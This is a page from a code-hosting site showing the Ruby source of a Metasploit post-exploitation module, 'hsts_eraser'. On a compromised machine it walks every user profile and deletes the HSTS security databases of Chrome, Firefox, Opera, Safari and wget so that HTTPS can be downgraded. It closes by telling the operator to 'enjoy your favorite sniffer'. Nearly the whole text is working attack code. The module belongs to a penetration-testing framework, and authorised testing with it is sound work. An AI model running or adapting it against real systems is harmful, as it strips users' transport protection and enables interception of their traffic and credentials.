Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/manage/hsts_eraser.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Windows::UserProfiles8include Msf::Post::OSX::System9include Msf::Post::Unix1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Web browsers HSTS entries eraser',16'Description' => %q{17This module removes the HSTS database of the following tools and web browsers: Mozilla Firefox,18Google Chrome, Opera, Safari and wget.19},20'License' => MSF_LICENSE,21'Author' => [22'Sheila A. Berta (UnaPibaGeek)', # ElevenPaths23],24'Platform' => %w[linux osx unix win],25'Arch' => [ARCH_X86, ARCH_X64],26'References' => [27[ 'URL', 'http://blog.en.elevenpaths.com/2017/12/breaking-out-hsts-and-hpkp-on-firefox.html' ],28[ 'URL', 'https://www.blackhat.com/docs/eu-17/materials/eu-17-Berta-Breaking-Out-HSTS-And-HPKP-On-Firefox-IE-Edge-And-Possibly-Chrome.pdf' ]29],30'SessionTypes' => %w[meterpreter shell]31)32)3334register_options([35OptBool.new('DISCLAIMER',36[true, 'This module will delete HSTS data from the target. Set this parameter to True in order to accept this warning.', false])37])38end3940def run41unless (datastore['DISCLAIMER'] == true)42print_error('This module will delete HSTS data from all browsers on the target. You must set the DISCLAIMER option to True to acknowledge that you understand this warning.')43return44end4546profiles = user_profiles4748profiles.each do |user_profile|49account = user_profile['UserName']50browsers_hsts_db_path = {}5152case session.platform53when 'windows'54browsers_hsts_db_path = {55'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\TransportSecurity",56'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles", # Just path for now57'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\TransportSecurity"58}59when 'unix', 'linux'60browsers_hsts_db_path = {61'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/TransportSecurity",62'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox", # Just path for now63'Opera' => "#{user_profile['LocalAppData']}/.config/opera/TransportSecurity",64'wget' => "#{user_profile['LocalAppData']}/.wget-hsts"65}66when 'osx'67browsers_hsts_db_path = {68'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/TransportSecurity",69'Firefox' => "#{user_profile['LocalAppData']}/Firefox/Profiles", # Just path for now70'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/TransportSecurity",71'Safari' => "#{user_profile['AppData']}/Cookies/HSTS.plist"72}73else74print_error "Platform not recognized: #{session.platform}"75end7677browsers_hsts_db_path.each_pair do |browser, path|78if browser == 'Firefox'79hsts_db_path = []80if directory?(path)81files = dir(path)82files.reject! { |file| %w[. ..].include?(file) }83files.each do |file_path|84hsts_db_path.push([path, file_path, 'SiteSecurityServiceState.txt'].join(system_separator)) if file_path.match(/.*\.default/)85end86end87path = hsts_db_path[0]88end89if !path.nil? && file?(path)90print_status "Removing #{browser} HSTS database for #{account}... "91file_rm(path)92end93end94end9596print_status 'HSTS databases removed! Now enjoy your favorite sniffer! ;-)'97end9899def user_profiles100user_profiles = []101case session.platform102when /unix|linux/103user_names = dir('/home')104user_names.reject! { |u| %w[. ..].include?(u) }105user_names.each do |user_name|106user_profiles.push('UserName' => user_name, 'LocalAppData' => "/home/#{user_name}")107end108when /osx/109user_names = session.shell_command('ls /Users').split110user_names.reject! { |u| u == 'Shared' }111user_names.each do |user_name|112user_profiles.push(113'UserName' => user_name,114'AppData' => "/Users/#{user_name}/Library",115'LocalAppData' => "/Users/#{user_name}/Library/Application Support"116)117end118when /windows/119user_profiles |= grab_user_profiles120else121print_error 'Error getting user profile data!'122end123user_profiles124end125126def system_separator127return session.platform == 'windows' ? '\\' : '/'128end129end130131132